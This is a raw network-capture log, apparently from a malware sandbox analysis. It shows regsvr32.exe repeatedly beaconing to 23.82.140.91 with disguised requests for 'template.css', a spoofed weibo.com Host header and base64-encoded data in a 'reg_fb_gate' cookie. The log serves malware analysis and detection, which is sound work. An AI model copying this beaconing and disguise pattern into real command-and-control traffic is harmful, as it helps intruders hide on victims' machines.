ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:51 UTC 1225 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:51 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:08:51 UTC 1225 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

85 192.168.2.6 49933 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:51 UTC 1227 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:52 UTC 1227 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:51 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:08:52 UTC 1228 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

86 192.168.2.6 49934 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:52 UTC 1229 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:52 UTC 1230 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:52 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:08:52 UTC 1230 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

87 192.168.2.6 49935 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:53 UTC 1232 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:53 UTC 1232 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:53 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:08:53 UTC 1233 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

88 192.168.2.6 49936 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:56 UTC 1234 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:56 UTC 1235 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:56 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:08:56 UTC 1235 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

89 192.168.2.6 49938 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:56 UTC 1237 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:57 UTC 1238 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:57 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:08:57 UTC 1238 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

9 192.168.2.6 49770 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:18 UTC 1036 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:18 UTC 1037 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:18 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:07:18 UTC 1037 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

90 192.168.2.6 49937 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:56 UTC 1237 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:57 UTC 1240 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:57 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:08:57 UTC 1240 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

91 192.168.2.6 49939 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:58 UTC 1242 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:58 UTC 1242 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:58 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:08:58 UTC 1243 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

92 192.168.2.6 49940 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:00 UTC 1244 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:00 UTC 1245 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:00 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:09:00 UTC 1245 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

93 192.168.2.6 49941 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:02 UTC 1247 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
